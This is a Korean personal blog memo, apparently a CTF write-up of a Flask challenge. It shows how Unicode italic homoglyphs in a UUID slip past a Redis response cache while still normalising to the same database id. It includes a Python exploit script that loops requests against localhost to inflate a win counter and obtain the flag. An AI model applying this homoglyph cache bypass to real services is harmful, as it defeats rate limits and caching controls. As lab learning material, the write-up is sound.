음.. 개인 메모용이기에 생각의 flow만 적습니다.
flag를 얻기 위한 조건: num_wins가 0이 되는것
- 처음 uuid가 만들어지고 접근하면 99로 시작함
flag의 위치 : env
몬가 cache?? 관련된게 많이 강조된 문제같아서 코드 여기저기 뒤져보니까
for i in range(len(uuid)) 는 원래 문자열의 길이 기준으로 순회함.
하지만 그 안에서 uuid_l.pop(i)로 리스트 크기를 직접 변경하고 있음.
즉, uuid = "abcd-efgh"일 때 len(uuid) = 9
uuid_l.pop(i)로 한 글자를 삭제해도 루프는 여전히 i = 0 → i = 8까지 반복함
그런데 리스트는 이미 크기가 줄어들고 있음
id값이 다르면 카운트가 올라가지않고, cache miss를 일으키도록 하는 방법을 모색?
normalized = normalize_uuid(user_uuid)
<p><b>Normalized UUID:</b> {normalized}</p>
요 두 문장을 추가해서 확인
def check():
user_uuid = request.args.get("uuid")
normalized = normalize_uuid(user_uuid)
if not user_uuid:
return {"error": "UUID parameter is required"}, 400
run_query("UPDATE users SET value = value + 1 WHERE id = %s;", (user_uuid,))
res = run_query("SELECT * FROM users WHERE id = %s;", (user_uuid,))
g.cache_hit = False
if "affected_rows" not in res:
print("ERRROR:", res)
return "Error"
if res["affected_rows"] == 0:
return "Invalid account ID"
num_wins = res["result"][0]["value"]
if num_wins >= 100:
return f"""CONGRATS! YOU HAVE WON.............. A FLAG! {os.getenv("FLAG")}"""
return f"""<p>Congrats! You have won! Only {100 - res["result"][0]["value"]} more wins to go.</p>
<p>Next attempt allowed at: {(datetime.datetime.now() + datetime.timedelta(days=7)).isoformat(sep=" ")} UTC</p><p><a href="/">Go back to the homepage</a></p>
<p><b>Normalized UUID:</b> {normalized}</p>
<p><a href="/">Go back to the homepage</a></p>
"""
이런느낌으루 근데 .. 디버그 코드 추가했는데 횟수가 89로 줄어들음
이젠 88로 줄음 도커를 껐다 켜는 작업인데 왜 줄어들지..?
@cache.cached()에 의해 7일짜리 캐시가 Redis에 저장
캐시는 DB를 전혀 보지 않고 응답만 돌려줌
도커를 재시작해도 Redis 데이터는 살아 있는거 같은데?
그럼 어차피 uuid는 0~9까지의 숫자와! A~F까지의 문자로 이루어짐
그렇다면 유사한 형태의 uuid를 보내면 줄어드나?
얘를 들어 normalize 적용되었을때 같지만 url로 요청할때만 다른거?
가령 터키어를 쓴다던지? italic체를 쓴다던지?
f가 단일로된 터키어에서는 없는 듯??
https://dev.to/jagracey/hacking-github-s-auth-with-unicode-s-turkish-dotless-i-460n
그럼 이텔릭체는?? 오! 줄어든다!
Congrats! You have won! Only 86 more wins to go.
그럼 uuid내의 a~f문자열을 파싱하고 uuid의 여기저기에 그럼 a~f까지의 문자열을 이텔릭체로 적용해서 요청을 100회보내면 플래그를 획득?
도커를 껐다켰다하면서 줄어든 숫자!
exploit code
import requests
import time
import random
BASE_URL = "http://localhost:5000"
UUID = "1d6e2993-ffd0-4e58-82cf-fc589923838b"
# 이텔릭체 유니코드 매핑 (Unicode Mathematical Alphanumeric Symbols)
homoglyph_map = {
"a": "𝒶", "b": "𝒷", "c": "𝒸", "d": "𝒹",
"e": "𝑒", "f": "𝒻"
}
def apply_homoglyph(uuid):
chars = list(uuid)
for i in range(len(chars)):
if chars[i] in homoglyph_map and random.random() < 0.3:
chars[i] = homoglyph_map[chars[i]]
return "".join(chars)
session = requests.Session()
for i in range(100):
modified_uuid = apply_homoglyph(UUID)
r = session.get(BASE_URL + "/check", params={"uuid": modified_uuid})
print(f"[{i}] UUID: {modified_uuid} | Cached: {r.headers.get('X-Cached')} | {r.text[:100]}")
time.sleep(0.2)
결과!
최근에 자주 보게된 호모글리프(?) 그걸 이용하여 이케이케 했다. 재밌네..
이텔릭체는 하기의 사이트에서 변환해서 사용!
이전에 씨텦풀면서 얻은 꿀팁 활용하기
https://lingojam.com/ItalicTextGenerator
Italic Text Generator (𝘤𝘰𝘱𝘺 𝘢𝘯𝘥 𝘱𝘢𝘴𝘵𝘦) ― LingoJam
Italic Text Generator (𝘤𝘰𝘱𝘺 𝘢𝘯𝘥 𝘱𝘢𝘴𝘵𝘦) Converts normal text into unicode italic text which you can copy and paste. Generates italic text which you can copy and paste into facebook, twitter, instagram and other social med
lingojam.com
'Web Hacking' 카테고리의 다른 글
curling (0) | 2025.02.27 |
---|---|
I Like Pear (0) | 2025.02.27 |
web-alasql (0) | 2025.01.24 |
Strong BypassIF (0) | 2024.12.30 |
Pharmacy (0) | 2024.12.25 |